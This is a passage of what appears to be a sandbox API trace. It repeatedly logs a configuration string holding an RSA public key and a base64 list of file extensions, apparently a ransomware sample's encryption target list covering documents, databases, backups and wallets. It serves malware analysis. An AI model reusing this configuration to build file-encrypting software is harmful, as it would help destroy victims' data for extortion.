ZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.132] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.132] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.132] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.132] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsI